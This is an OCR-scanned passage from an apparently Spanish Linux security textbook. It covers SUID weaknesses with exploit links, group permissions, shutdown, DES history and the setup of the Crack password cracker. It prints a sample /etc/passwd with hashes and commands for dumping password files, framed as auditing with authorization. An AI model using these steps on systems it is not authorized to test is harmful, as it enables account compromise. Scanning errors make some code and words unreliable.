miso de SUID (chmod -s /bin/linuxconf).

povray es un programa de ray-tracing para graficos. En la version 3.02,
s-povray es root de SUID y segun se informa debe estar para llevar a
cabo funciones de visualizacion. Solucién: no se conoce. Péngase en
contacto con el desarrollador.

En varios sistemas (sobre todo SlackWare 3), startmouse (parte de la
distribucion del juego Doom) es root de SUID. La solucién es ajustar
los permisos. El exploit se encuentra en http://www.tao.caffire/bos/old/
1/0369.html.
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Tabla 4.7 Debilidades conocidas de Linux relacionadas con SUID
(continuacion)

Programa Detalles

suidexec suidexec en Debian 2.0 (en el paquete suidmanager, 0.18) puede pro-
porcionar acceso a root a través de scripts de shell de SUID. Puede obte-
ner mas informacion (y obtener el exploit) en http:// www.newwave.
net/~optimum/exploits/files/suexec.txt.

wsmbconf wsmbconf (parte de samba-1.9.18p10-3) ejecutaba el SGID que poseia
el root. Puede obtener mas informacion en http:/archive.redhat.com/
redhat-watch-list/1998-November/0002.html o consultando Caldera
Security Advisory SA-1998.35.

Los grupos al detalle

Linux establece automaticamente los privilegios en los archivos que posee root,
con lo que los protege de los usuarios habituales. Sin embargo, de vez en cuando,
es posible que se vea obligado a proteger algun grupo de usuarios (y sus posesio-
nes) de otro. En esos casos, el concepto de grupos es muy util.

Veamos un ejemplo. Imagine que disena una intranet para una pequefa clinica
psiquiatrica con cuatro departamentos:

¢ Psiquiatria.

¢ Medicina interna.

e Facturacion.

¢ Administracion.

El proceso de la clinica funciona de la siguiente forma:

* A los pacientes los examinan un psiquiatra y un especialista en medicina
interna (para solucionar los problemas médicos dificiles, si hubiera alguno).

¢ El departamento de facturacion factura a las empresas de seguros por estos
servicios.

¢ Eldepartamento de administracion ve los informes del censo de pacientes y
de los ingresos.

La red podria ser muy similar a la de la Figura 4.6.

En ella hay varios usuarios. Algunos compartiran toda su informacién, mientras
que otros sdlo compartirdn determinadas partes:

* Elpersonal de psiquiatria y el personal de medicina interna deben compartir
los diagndsticos que han realizado, los procedimientos requeridos, la fecha
en que los han llevado a cabo y las notas clinicas.
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¢ A continuacion llega el personal de facturaciéon. Habitualmente no necesitan
datos tan personales y confidenciales como el historial clinico, sino que nece-
sitan el diagndstico, los procedimientos realizados y las fechas en los que se
prestaron dichos servicios. Con esta informacion pueden solicitar el pago a
las compaiiias de seguros.

¢ Para acabar, el personal de administracién necesita acceder a determinada
informacién de facturacion y a toda la informacién de admision.

Psiquiatria Medicina interna Facturacion Administracion

Notas clinicas

Notas clinicas

Cantidad facturada

Diagnésticos/Procedimientos | | Diagndsticos/Procedimientos | | Diagndsticos/Procedimientos Censo diario
Fecha en que se han Fecha en que se han Fecha en que se han Estadisticas de
realizado realizado realizado admisién

Informe de ingresos

=

FIGURA 4.6
La red de la clinica.

Para facilitar toda esta organizacion, seria conveniente crear los grupos tal como
muestra la Figura 4.7.

De esta forma, todo el mundo obtiene lo que necesita, pero una parte de la infor-
macién sale de los limites sin ninguna solicitud especial. Este es el concepto bésico
que subyace tras los grupos. La siguiente seccion describe cémo crear grupos y
afnadirles usuarios.

Crear grupos

Crear un grupo es una labor sencilla. En los sistemas sin ocultacién, los datos de
los grupos se almacenan en /etc/group. Ahora vamos a ver la estructura de
/etc/group.

/etc/group y aiadir nuevos usuarios

La estructura de /etc/group es parecida a la de /etc/passwd. Por ejemplo:
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Psiquiatria

Medicina interna

|

| lectura + escritura (minimo),
1

lectura + escritura (minimo)l Grupo 2: facturacion
/clinic/clinical-data/
fclinic/clinical-data/patient1.d+d.txt
/clinic/clinical-data/patient2.d+d.txt
/clinic/clinical-data/ [clinic/clinical-data/patient3.d+d.txt

/clinic/clinical-data/patient1.notes.txt
lectura (minimo)

felinic/clinical-data/patient2.notes.txt
Facturacion

Grupo 1: doctores

/clinic/clinical-data/patient3.notes.txt

Administracién

Grupo 3: administracién

al menos lectura

lectura + escritura (minimo)

/clinic/accounting/census.jan.txt
/clinic/accounting/census.feb.txt
/clinic/revenues/receivables/report.txt
/clinic/revenues/pastpaid/report.txt

FIGURA 4.7
Tres grupos: uno para los médicos, otro para facturacién y un tercero para administracion.

root::0:
wheel::10:
bin::1:bin,daemon
daemon::2:bin,daemon
sys::3:bin,adm
adm: :4:adm,daemon
tty::5:

disk::6:
1p::7:daemon,l1p
mem: :8:

kmem::9:
operator::11:
mail::12:mail
news::13:news
uucp::14:uucp
man::15:

games: :20:
gopher::30:
dip::40:
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ftp::50:
users::100:amd,marty,dnb,manny,moe, jack,jill,stacy,Nicole
nobody: :65534:
amd: :500:amd
marty::502:marty
dnb::503:dnb
manny : :504 :manny
moe: :505:moe
jack::506: jack
jill::507:jill
stacy::508:stacy
Nicole::509:Nicole

El archivo se compone de registros de grupos. Cada linea almacena un registro
y cada registro se divide en cuatro campos delimitados por dos puntos (;):

¢ Group name.

¢ Group password.

e Group ID (GID).

¢ Group users.

Observara que todos los usuarios humanos normales se han colocado de forma
predeterminada en el tltimo campo:

users::100:amd,marty,dnb,manny,moe,jack,jill,stacy,Nicole

Para afiadir un grupo, modifique manualmente /etc/group e inserte una linea
nueva que defina a dicho grupo.

Cuando vaya a asignar el GID, intente utilizar el esquema de numeracién que
ya ha establecido Linux. En otras palabras, es totalmente razonable asignar el nue-
vo GID de forma secuencial. Por tanto, si el ultimo GID ha sido 509, el nuevo debe
ser 510.

Por ahora no se preocupe de la contrasefia del grupo, ya que no suele utilizarse.

Utilizando el ejemplo de la clinica psiquiatrica, puede afiadir tres nuevos grupos:

doctors::510:psych, med
patients::511:psych, med, billing
reports::512:billing, admins

Una vez que haya creado los grupos, debe designar los propietarios de los archi-
vos y de los directorios. Aunque todos los usuarios de los grupos tendran los mis-
mos derechos de acceso, debe asignar las partes responsables del mantenimiento
de los archivos de los grupos.
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Siguiendo con el ejemplo de la clinica, podria asignar el usuario psych como pro-
pietario del grupo doctors (y de /clinic/clinical-data/). En ese caso, el propietario y
los grupos se asignan simultdneamente utilizando el comando chown.

Para afadir un usuario a un grupo existente, s6lo tiene que anadir su nombre a la lis-
ta de usuarios del cuarto campo de /etc/group.

chown: asignar permisos a los usuarios
propietarios y a los grupos

Para asignar un directorio y sus archivos a un grupo determinado, utilice el
comando chown. En el ejemplo de la clinica psiquiatrica se realizaria en tres pasos:

® (ree el directorio (/clinic/clinical-data).
* Defina el propietario y el grupo simultaneamente (aqui, psych y doctors).
* Establezca los permisos.

Por ejemplo:

mkdir /clinic/clinical-data

cp somefiles* /clinic/clinical-data

chown -R psych:doctors /clinic/clinical-data
cd /clinic/clinical-data/

chmod 660 *

Aqui se define psych como propietario de todos los archivos de /clinic/clinical-
data/, se asigna a psych y a med acceso de lectura y escritura, y no se deja entrar al
resto de usuarios.

Utilizar herramientas graficas para definir los propietarios,
los permisos y los grupos

Es posible que utilice Linux exclusivamente en modo gréfico y que no se sienta
cémodo con las lineas de comandos. No pasa nada. La mayoria de las distribuciones
dominantes de Linux, en particular OpenLinux y Red Hat, incluyen utilidades con
interfaz grafica de usuario para establecer los permisos y las propiedades.

Por ejemplo, Caldera OpenLinux incluye un editor de permisos en el sistema de
escritorio Looking Glass. Es bastante similar al Editor de Propiedades de Favoritos
de Windows NT, que se utiliza para que se cumpla la configuracion de seguridad.
Véase la Figura 4.8.

Como muestra esta figura, el editor de preferencias es sencillo. Sin embargo,
obliga a realizar cambios importantes en un directorio elegido o en el método de
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creacion de archivos predeterminado. Si es posible, debe habituarse a establecer
los permisos de forma manual.

FIGURA 4.8
El editor de preferencias de permisos Looking Glass de Caldera OpenLinux.

Como se relacionan los usuarios con los grupos

Es posible que se pregunte de qué forma los usuarios que ya tienen un grupo
primario ejercen sus privilegios desde otro grupo; pues bien, lo hacen a través de
del comando newgrp.
newgrp: cambiar el grupo actual

Los usuarios pueden pasar de un grupo a otro durante la misma sesién, con un
nuevo inicio de sesion, utilizando el comando newgrp. La sintaxis del comando es:

$newgrp [group]
Siempre que el usuario sea miembro de un grupo, funciona perfectamente.

Eliminar grupos

Para eliminar un grupo, suprima su entrada en /etc/group.

Cuando se suprime un grupo, también se elimina su GID. Habitualmente, esto no
supone ningln problema, ya que los grupos que se crean suelen ser grupos especia-
les, independientes y bien diferenciados de los grupos principales y predeterminados
del usuario. Por ejemplo, en el ejemplo de la clinica se creé un grupo completamen-
te nuevo con un GID nuevo.

Sin embargo, no siempre ocurre esto. A veces, el grupo que se elimina es también el
grupo principal o predeterminado de uno o varios usuarios. Por consiguiente, antes
de eliminar cualquier grupo, anote su GID. Posteriormente, compruebe /etc/passwd
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para asegurarse de que ninguno de los usuarios lo tiene como grupo principal. Si
encuentra a algln usuario que tenga como predeterminado el GID del grupo supri-
mido, asignele como grupo principal uno actual y vélido.

Desconectar el sistema

En muchos sistemas operativos, no es necesario realizar ningun procedimiento
especial de desconexion. El sistema se puede apagar en cualquier momento. Linux
no funciona de este modo, sino que necesita tiempo para cerrar los procesos abier-
tos, guardar los datos no guardados en el disco y realizar una limpieza. La siguien-
te seccion explica como apagar el sistema.

shutdown: apagar el sistema Linux

Para apagar el sistema Linux, utilice el comando shutdown. Este comando esta
especialmente disefiado para desconectar Linux de forma segura. Durante este pro-
ceso, shutdown realiza las siguientes acciones:

* Notifica a los restantes procesos y usuarios que el apagado es inminente.
* Apaga otros procesos que aun se estan ejecutando.

¢ Notifica a oot a medida que se desconecta cada servicio.

¢ Siasi se especifica, reinicia el sistema.

shutdown admite varias opciones de la linea de comandos. La Tabla 4.7 resume
estas opciones y sus objetivos.

Tabla 4.8 Opciones de apagado de la linea de comandos

Opcién Propésito

-C La opcidén —c se utiliza para cancelar un apagado que ya estaba pro-
gramado.

-h La opcion —h se utiliza para forzar una detencion de todo el sistema

tras apagarse el sistema.

-k La opcidn —k se utiliza para simular un apagado y enviar mensajes de
apagado a los usuarios sin que realmente se apague el sistema.

-r La opcion —r se utiliza para forzar un reinicio tras apagarse el sistema.

-t [segundos] La opcion -t se utiliza para establecer el tiempo, en segundos, antes de
que shutdown realmente realice su tarea (enviar sefiales, apagar pro-
cesos, etc.).
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La linea de comandos de shutdown constara del comando shutdown, varias
opciones y un tiempo. Por ejemplo, para apagar inmediatamente el sistema y reini-

ciarlo, escriba el siguiente comando:
# shutdown -r now

El valor de tiempo también se puede expresar de forma mas concreta en minu-
tos (shutdown —r +minutos) o en horas (shutdown —r 12:24).

Es posible que haya leido algo acerca de halt, otra herramienta para detener y reiniciar
el sistema. halt ya no se utiliza y debe intentar no utilizarla; use shutdown en su lugar
(en algunos sistemas, halt desconectara la maquina sin realizar un cierre limpio).

Resumen

En este capitulo sélo se han explicado las tareas administrativas mas generales.
En particular, en este capitulo la incorporacion y supresion de usuarios se ha cen-
trado en los sistemas Linux genéricos, incluyendo sistemas anteriores, en los que
no estaba instalado el shadowing de contrasenas. En el Capitulo 5 examinaremos la
seguridad de las contrasefias en los sistemas con y sin sombreado.



PARTE

Seguridad de los usuarios
de Linux

5. Ataques a contrasena.
6. Codigo danino.







Ataques a contrasena

En este capitulo

¢ Qué es un ataque a contrasesia?
Cémo genera y almacena Linux las contrasefias.
Data Encryption Standard (DES).

Monografia: ruptura de contraseias de Linux a través de ataque a
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Una vez que se han realizado las particiones en las unidades de disco, instalado
Linux y creado usuarios y grupos, el siguiente paso consiste en afrontar la mas
importante de todas las medidas de seguridad: la seguridad de las contrasefias.

La seguridad de la contrasena es tan importante que sin ella ningtin sistema sera
nunca seguro. De hecho, es posible instalar una docena de firewalls y, aun asi, si las
contrasefias son vulnerables, el sistema Linux seria una puerta abierta.

De ahi que la seguridad de la contrasefa exija un enfoque a dos niveles. Por un
lado, hay que aplicar herramientas avanzadas para reforzar la contrasefa. Por el
otro, es necesario educar a los usuarios e inculcarles politicas de contrasefia
basicas. Este capitulo explica ambas técnicas.

;Qué es un ataque a contrasefa?

El término ataque a contrasefia es genérico. Describe diversas actividades,
entre las que se incluye cualquier accién dirigida a romper, descifrar o borrar
contrasefas o a sortear de cualquier otra forma los mecanismos de seguridad de las
contrasenas.

En orden jerarquico en cuanto a seguridad, los ataques a contrasefia son lo
primero. De hecho, lo primero que aprenden los piratas e intrusos en ciernes es
romper las contrasefas, principalmente porque exige una experiencia técnica
minima. Actualmente, cualquiera puede romper contrasefias de Linux utilizando
herramientas automatizadas.

Sin embargo, no debe confundirse la sencillez con la ineficacia. En la mayoria de
los casos, una deficiente seguridad de las contrasefias pone en peligro a todo el
sistema. Los atacantes que inicialmente obtienen so6lo acceso limitado pueden
extender rapidamente dicho acceso mediante el ataque a una seguridad de
contrasenas débil. A menudo, con meros ataques a contrasefa, los atacantes
obtienen acceso como root y arrebatan el control no sélo de un host sino de varios.

Este capitulo explica varias técnicas de ataque a contrasena, asi como los pasos
necesarios para proteger las contraseiias, entre los que se incluyen:

e Instalacion del shadowing de contrasena.

¢ Refuerzo de contrasefias en aplicaciones de terceros.
¢ Refuerzo del sistema frente a ataques a contraseiia.

¢ Desarrollo de politicas efectivas de contrasefas.

Sin embargo, en primer lugar vamos a explicar la forma en que Linux generay
almacena las contrasefias. Si ya conoce este proceso, puede omitir esta seccién.

Como genera y almacena Linux las contrasenas

Como se explicé en el Capitulo 4, "Administracion basica del sistema Linux",
muchas de las primeras distribuciones de Linux almacenaban las contrasenas de
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los usuarios en /etc/passwd, lo que no resultaba seguro, ya que /etc/passwd es (v
debe ser) legible. De ahi que cualquier usuario pueda ver los contenidos de
/etc/passwd simplemente concatenandolo:

$cat /etc/passwd

root:80zrR2ac.IEGY:0:0:roo0t:/root:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

1p:*:4:7:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:11:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/var/spool/news:

uucp:*:10Q:14:uucp:/var/spool/uucp:

operator:*:11:0:operator:/root:

games:*:12:100:games:/usr/games:
gopher:*:13:30:gopher:/usr/lib/gopher-data:

ftp:*:14:50:FTP User:/home/ftp:

man:*:15:15:Manuals Owner:/:

nobody: *:65534:65534:Nobody:/:/bin/false
bwagner:..CETo68esYsA:501:501:Bill Wagner:/home/bwagner:/bin/bash
marty: jvXHHBGCK7nkg:502:502:Marty Rush:/home/marty:/bin/bash
dnb:i1YD6CckS.J1A:500:503:Caldera OpenLinux User:/home/dnb:/bin/bash
manny :bj2NcvrnubUqU:503:504:Caldera OpenLinux User:/home/manny:/bin/bash
moe : IK40Bb5NNnkAHk : 504 :505:Caldera OpenLinux User:/home/moe:/bin/bash
jack:FL.0t@VxVe9lL.:505:506:Caldera Openlinux User:/home/jack:/bin/bash
jill:JUMpkh9ZrXePnM:506:507:Caldera OpenLinux User:/home/jill:/bin/bash
stacy:00fE8weNKJUFw:507:508:Caldera OpenLinux User:/home/stacy:/bin/bash
Alex:yIRWmr3zbhms6:509:100:Alex Brittain:/home/Alex:/bin/bash
Nicole:zKQR.cqTgzkco:508:509:Caldera OpenLinux

User:/home/Nicole: /bin/bash

Las contraseias ocupan el segundo campo:

bwagner:..CETo68esYsA:501:501:Bill Wagner:/home/bwagner:/bin/bash

marty: jvXHHBGCK7nkg:502:502:Marty Rush:/home/marty:/bin/bash
dnb:11YD6CckS.J1A:500:503:Caldera OpenLinux User:/home/dnb:/bin/bash
manny:bj2NcvrnubUqu:503:504:Caldera OpenLinux User:/home/manny:/bin/bash
moe : IK4OBbSNnkAHk : 504 :505:Caldera OpenLinux User:/home/moe:/bin/bash
jack:FL.Ot@VxVe9L.:505:506:Caldera OpenLinux User:/home/jack:/bin/bash
jill:JUMpkh9ZrXePnM:506:507:Caldera OpenLinux User:/home/jill:/bin/bash
stacy:00fE8weNKJUFw:507:508:Caldera OpenLinux User:/home/stacy:/bin/bash
Alex:yIRWmr3zbhms6:509:100:Alex Brittain:/home/Alex:/bin/bash
Nicole:zKQR.cqTgzkco:508:509:Caldera OpenLinux
User:/home/Nicole:/bin/bash
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Observe que las contrasefias estan alteradas de modo que resulten incom-
prensibles. Han sido sometidas a criptografia. Examinaremos brevemente los
conceptos de contrasefias, cifrado y criptografia en un contexto histoérico.

Si su sistema Linux ya tiene instalado el shadowing (el segundo campo no contiene
contrasefias alteradas sino sélo huecos), puede omitir lo siguiente.

Evolucion historica de las contrasenas

El hombre ha utilizado contraseiias durante miles de anos, pero la primera
evidencia concreta la encontramos en el antiguo Egipto. Cuando un egipcio
importante moria, los trabajadores preparaban su cuerpo mediante la momifi-
cacion. A continuacién enterraban al fallecido con pergaminos que portaban
oraciones del Libro de los Muertos. En estos pergaminos los sacerdotes
escribian contrasefias secretas que permitian al fallecido comprar su entrada en
el cielo.

La mayoria de tales contrasefas no estaban cifradas. En su lugar, los sacerdotes
confiaban en el destino, jugando con que el fallecido alcanzaria el cielo antes de que
los ladrones de tumbas lo descubrieran. Si al final las cosas salian asi o0 no, es algo
que nunca sabremos. Pero lo que sabemos es que en algtin momento (aproxi-
madamente 2000 afios A.C., durante el reinado de Mentuhotep III), los egipcios
empezaron a usar contrasefias de texto sin formato. En los siguientes 1000 afios,
junto a las fracciones y el algebra primitiva, los egipcios desarrollaron una
criptografia rudimentaria. Vamos a explicar brevemente la criptografia.

Criptografia

La palabra criptografia tiene su origen en dos antiguas palabras: krypto
(escondido) y graphia (escritura). Por tanto, la criptografia es la ciencia de escribir
de forma secreta. En la criptografia se crean mensajes que s6lo pueden leer las
personas autorizadas. Para cualquier otra persona, el texto criptografico o cifrado
es un galimatias.

La criptografia mas antigua era elemental; a menudo consistia en una mezcla del
tipo anagrama, donde los caracteres eran simplemente reordenados. Por ejemplo,
la palabra egipcio podria trasponerse a oegicpi. Véase la Figura 5.1.

Mas tarde, en tiempos de los romanos, los mensajeros usaban cifrados por
sustituciéon. Los primeros cifrados por sustitucion empleaban férmulas sencillas
para convertir de manera uniforme cada carécter en otro. Julio César populariz6
uno que consistia en desplazar cada caracter tres posiciones en el alfabeto. Asi, la
letra a se convierte en la ¢, la b en la d, y asi sucesivamente.



126 I Capitulo5  Ataques a contrasefia

neagiytp egyptian

FIGURA 5.1
En los anagramas, las letras se disponen de forma distinta. Para recomponer el mensaje,
hay que reordenar las letras en su posicién original.

Actualmente, los cifrados por sustitucion simple existen, pero no se utilizan para
una ocultacion seria de los datos. Uno de ello es ROT-13, un cifrado por sustitucion
que desplaza los caracteres 13 posiciones (asi, la a se convierteenlan,labenlao,
y asi sucesivamente). Para probar ROT-13, puede compilar y ejecutar el siguiente
codigo:

#include <stdio.h>

#include <ctype.h>

/*rot-13.c de prueba

ROT-13: Sistema de cifrado por sustitucion
Para compilar: "gcc test-rot13.c -0 rot13" */
void main() {

int user_input;

printf("Por favor, introduzca un texto para encriptar o descifrar");
printf("----- - \n");

while ((user_input=getchar())) {

if (islower(user_input))

user_input = 'a' + (user_input - 'a' + 13) % 26;
if (isupper(user_input))
user_input = 'A' + (user_input - 'A' + 13) % 26;
putchar(user_input);

La principal ventaja de los cifrados del tipo ROT-13 es que ocultan las letras
originales utilizadas. De ahi que los atacantes no puedan decodificar el mensaje
mediante la reorganizacion de la posicién de las letras, como si fuera un anagrama.
En su lugar, deben deducir la férmula de desplazamiento utilizada, lo que es mas
dificil.
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NOTA

Para ver un tratamiento histérico mas detallado (aunque breve a pesar de todo) de la
criptografia, véase "A Short History of Criptography", Dr. Frederick B. Cohen, Mana-
gement Analytics, 1995, que se puede encontrar en http://www.all.net/books/ip/
Chap2-1.html.

Los simples cifrados por sustitucion son, pese a todo, demasiado rudimentarios
para proteger datos. De ahi que durante siglos, y en particular en los ultimos 100
afios, los investigadores hayan desarrollado muchos tipos de cifrado diferentes. En
principio, eran tan simples que cualquier persona, empleando horas o dias, podia
acertar con el algoritmo utilizado. Sin embargo, a medida que fueron apareciendo
las computadoras, que podian ejecutar millones de calculos por segundo, aumento
la demanda de mejores cifrados.

Las contrasefas de Linux se crean utilizando un avanzado algoritmo de cifrado
de IBM llamado Data Encryption Standard (norma de cifrado de datos) o DES.

Data Encryption Standard (DES)

Data Encryption Standard (DES) es el cifrado mas popular de la historia, a pesar
de que sdlo tiene 25 afios.

A principios de los afios 70, el gobierno de EE.UU. utilizaba ya muchos cifrados
en entornos clasificados, secretos y de alto secreto. Sin embargo, carecia de un
método de codificacion estandarizado para un uso mas general. En 1973, se cre6 la
National Bureau of Standards para remediarlo.

Como se explicaba en la publicacién 74 de los Federal Information Processing
Standards, Guidelines for Implementing and Using the NBS Data Encryption Standard.

"Debido a la falta de disponibilidad de tecnologia general de criptografia
fuera del ambito de la seguridad nacional y a que se necesitaban medidas de
seguridad, incluyendo cifrado, para aplicaciones no clasificadas relativas a
sistemas de computacion del gobierno federal, la National Bureau of
Standards inicié un programa de seguridad de computadoras en 1973 que
incluia el desarrollo de un estandar para el cifrado de datos. Como las
normas federales repercuten en el sector privado, la National Bureau of
Standards solicitdo el interés y la cooperacion de la industria y las
comunidades de usuarios para este trabajo."

Muchas empresas desarrollaron propuestas, pero prevalecio la de IBM. E1 DES
de IBM fue objeto de rigurosas pruebas y, en 1977, la National Bureau of Standards
y la National Security Agency lo apoyaron. Desde entonces, DES ha sido el
algoritmo de cifrado de facto que se utiliza en entornos no clasificados y en las
contraseifias de UNIX-Linux.
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La publicaciéon 46-2 de la Federal Processing Standards describe concisamente
DES como:

"... un algoritmo matematico para encriptar (cifrar) y desencriptar (descifrar)
informacion codificada en binario. La encriptacion convierte el dato en algo
ininteligible llamado cifrado. La desencriptacién del cifrado devuelve el dato
a su forma original, llamada texto sin formato."

Tanto las funciones de cifrado como de descifrado se apoyan en una clave, sin
la que los usuarios no autorizados no pueden descifrar un mensaje cifrado con DES.
Esta clave (derivada de la contrasefia que ha escrito el usuario y de alguna
informacion anadida, como se explicara mas adelante) consta de 64 digitos binarios
(0 y 1). 56 bits se utilizan para el cifrado y 8 para la comprobacion de errores. El
numero total de claves posibles es, por tanto, bastante alto:

"Si se utiliza la entrada completa de 64 bits (es decir, si ninguno de los bits de
entrada esti predeterminado en cada bloque) y si la variable de 56 bits se
elige aleatoriamente, la unica técnica que garantizari la obtencion de la clave
elegida es la prueba de todas las posibles claves utilizando las entradas y
salidas conocidas de DES. Como hay mas de 70.000.000.000.000.000 de
claves posibles de 56 bits..."

Funcionalmente, DES es un cifrado de bloque, un cifrado que trabaja sobre
bloques de datos de un tamaio determinado (en este caso, bloques de 64 bits). Los
bloques de datos que superan este tamaio se dividen en fragmentos de 64 bits. Las
porciones restantes inferiores a 64 bits se rellenan. Rellenar es cuando DES
anade bits sin significado a partes mas pequefias para conseguir un bloque
completo de 64 bits.

A partir de aqui, DES efectua tres operaciones importantes, la primera de las
cuales es la permutacion inicial. Al permutar, los bits de datos se desplazan a otras
posiciones en una tabla. Para tener una idea de lo que significa una permutacion,
considérese la codificacién de la siguiente cadena:

EL COCHE ROJO

Puede utilizarse un rudimentario cifrado de permutacion que cambie la posicion
de los caracteres, lo que se hace en dos pasos. En el primero, se reescribe la cadena
en vertical, de esta manera:

EL

COCHE

ROJO

A continuacion se reescribe el mensaje en horizontal:

ECRLOOCIHOE

Desde luego, la permutacion inicial de DES es infinitamente mas complicada,
pero se desarrolla de una forma parecida. DES produce un bloque de entrada.
Seguidamente, dicho bloque se reordena mediante complicadas operaciones
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matematicas (un proceso llamado transformacidn) para crear un bloque de pre-
salida. Para finalizar, al bloque de pre-salida se le aplica otra permutacion mas y el
resultado final es el texto mezclado, al que a veces se denomina texto cifrado, pero
al que resulta mas preciso denominar texto codificado.

Para encontrar informacién mas especifica (incluyendo férmulas matematicas) sobre
cémo llega DES al texto cifrado, véanse los enlaces que aparecen al final de este
capitulo o dirijase a http://www.itl.nist.gov/div897/pubs/fip46-2.htm.

La implementacion de DES que utiliza Linux es crypt(3), una eficaz implementacién
mejorada de DES, de alta velocidad y creada por Eric Young, que estd disponible en
libdes. Puede encontrar muchos programas de seguridad que usan (o incorporan)
libdes, incluyendo Secure Shell (que se explica en el Capitulo 10, "Proteccién de los
datos en transito").

En cualquier caso, las primeras distribuciones de Linux almacenaban las con-
traseiias cifradas por DES en /etc/passwd. Aqui tenemos de nuevo una entrada tipica:

stacy:00fE8weNKJUFw:507:508:Caldera OpenLinux User:/home/stacy:/bin/bash

Si un sistema almacena las contrasenas de esta manera, es conveniente
actualizarlo o instalar el shadowing de contrasefias manualmente (se explicara en
este mismo capitulo). Ello se debe a que pese a que los atacantes deben buscar en
un minimo de 32 cuatrillones de claves (y probablemente mas) para encontrar la
clave correcta, no necesitan buscar ninguna clave, sino que pueden concatenar
/etc/password con un archivo y utilizar las claves cifradas para llevar a cabo un
sencillo ataque a diccionario.

Crypto Glosary, de Terry Ritters, es una excelente cobertura de términos criptografi-
cos. Se puede encontrar en http:/www.io.com/~ritter/GLOSSARY.HTM.

Ataques a diccionario

DES, como la mayoria de las cosas, no es infalible. Las contraseiias de Linux
codificadas con DES pueden romperse rapidamente, habitualmente en cuestion de
minutos. Existen dos razones principales para ello:

¢ El factor humano: los usuarios eligen invariablemente contrasefias débiles.

¢ Longitud limitada: las contrasefias de Linux son cortas. El numero de
transformaciones necesarias para cifrarlas es relativamente pequefo.
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En los ataques a diccionario, los atacantes toman diccionarios (grandes listas de
palabras) y los codifican utilizando DES. Durante este proceso, envian palabras
corrientes, nombres propios y otro texto precisamente a través de las mismas
permutaciones y transformaciones a las que se exponen las contrasefias de Linux.
Con el paso del tiempo, utilizando herramientas de ruptura de alta velocidad, los
atacantes pueden codificar cada palabra del diccionario de 4.096 formas diferentes.
Cada vez que una herramienta de ruptura obtiene dicho texto codificado, lo
compara con las contrasefias de /etc/passwd. Mas pronto o mas tarde (a menudo,
mas pronto) encuentra una coincidenciay, cuando esto ocurre, comunica al agresor
que se ha roto una contraseiia.

Como no hay nada mejor que la experiencia, vamos a ejecutar ahora un ataque
mediante diccionario.

Monografia: ruptura de contrasenas de Linux
a través de ataque a diccionario

Para llevar a cabo un ataque a diccionario sobre sus propias contrasefias
necesita (naturalmente) las contrasefas de /etc/passwd y una herramienta ade-
cuada para auditar contrasefas. Para este ejemplo, utilice Crack.

Si el sistema tiene ya instalado el shadowing de contrasefias, antes debe extraer pri-
mero las contrasefias a un archivo. Para ello, escriba el siguiente comando: ypcat
passwd > passwords.txt.

Crack
Aplicacion: Crack

Necesita: C + root (y Perl si se lleva a cabo una ruptura en paralelo o
multiproceso)

Archivos de configuracion: dictgrps.conf, dictrun.conf, network.conf.

Historial de seguridad: Crack no tiene un historial de seguridad destacado o
previo.

Notas: Para ejecutar Crack, hay que ser root. Tenga en cuenta que si le
descubren ejecutando Crack sobre archivos de contrasefias de otros comparieros
se metera en un lio, porque es ilegal. Aunque sea el administrador de un sistema,
puede encontrarse con problemas, asi que debe asegurarse de tener la autorizacion
adecuada antes de poner a prueba o romper un sistema de contrasefas. A menudo
se dan casos de administradores de sistemas a los que se ha abierto expediente,
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despedido o sancionado por llevar a cabo auditorias no autorizadas de contrasefias.
Si tiene alguna duda sobre las politicas de su empresa, pregunte primero. (Y a la
inversa, si utiliza deliberadamente Crack para una actividad ilegal, recuerde que si
utiliza el tiempo de procesador de cualquier otra persona para llevar a cabo su vil
actividad, puede estar casi seguro de que le pillaran.)

Crack es la herramienta de auditoria de contrasefias mas conocida en la
comunidad UNIX. En sus primeras versiones, su autor, Alec Muffett, describia
Crack como:

"..un programa de libre distribucién para encontrar contrasenas de ocho
caracteres cifradas mediante DES en UNIX estandar, mediante técnicas de
estimacion estandar.. Se ha escrito para ser flexible, configurable y rapido, y
para que pueda utilizar varios hosts en red a través del programa de Berkeley
rsh (o similar), donde sea posible."

(Véase "Crack: A Sensible Password Checker for Unix" en http:/alloy.net/wri-
tings/funny/crack_readme.txt).

Con el paso del tiempo, solo ha corregido levemente esa descripcion. Actual-
mente, Muffet describe Crack como:

"..un programa de estimacion de contrasenas disefiado para detectar rapi-
damente inseguridades en los archivos de contrasenas de UNIX (u otros),
mediante la exploracion de los contenidos de los mismos, buscando aquellos
usuarios que hayan elegido descuidadamente una contrasena de login débil."

Crack se encuentra actualmente en su version 5.0a, que es la que hemos
utilizado para generar el siguiente ejemplo. Si tiene intenciéon de probar Crack
contra sus propias contrasenas, puede descargarlo de http://www.users.dir-
con.co.uk/~crypto/index.html.

La ejecucion del ejemplo pasa por varias fases:

® Descomprimir Crack.
e Crear Crack.
¢ Ejecutar Crack.

¢ Ver los resultados.

Hagamoslo.

Descomprimir Crack

Tras haber descargado Crack, coldéquelo en un directorio apropiado para
descomprimirlo. En este ejemplo, descomprimalo en /root.

A continuacién, descomprima el archivo Crack utilizando gunzip:

$ gunzip crackb5.0.tar.gz
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De esta forma, lo descomprimira a un archivo denominado crack5.0.tar, un
archivo de tipo tar. Descomprima este archivo usando el comando tar, de la
siguiente forma:

$ tar -xvf crack5.0.tar

A continuacién, vera pasar por la pantalla muchos nombres de archivos y
directorios. Crack estd ocupado descomprimiendo un directorio denominado
c50a/. Dependiendo de la carga y de los recursos del sistema, este proceso puede
tardar mas o menos tiempo.

Cuando Crack haya acabado de descomprimirse, cambie al directorio c50a/ y
lea las notas especificas sobre configuracion en manual.txt. Ya estd preparado para
crear Crack.

No deberia haber problemas durante la instalacién, compilacién o ejecucién de
Crack. (Los problemas mds habituales se producen cuando C no estd instalado o esta
instalado incorrectamente.) Antes de generar el siguiente ejemplo, hemos descom-
primido y compilado Crack en las instalaciones predeterminadas de OpenLinux y
RedHat. En ninguno de los dos casos hubo problemas. Sin embargo, cabe sefialar
que en algunos sistemas Linux es posible que haya que quitar los comentarios de la
linea de Crack para LIBS -lcrypt, porque no estd en libc.

Crear Crack

Para crear Crack, escriba la siguiente linea de comando:
$./Crack -makeonly

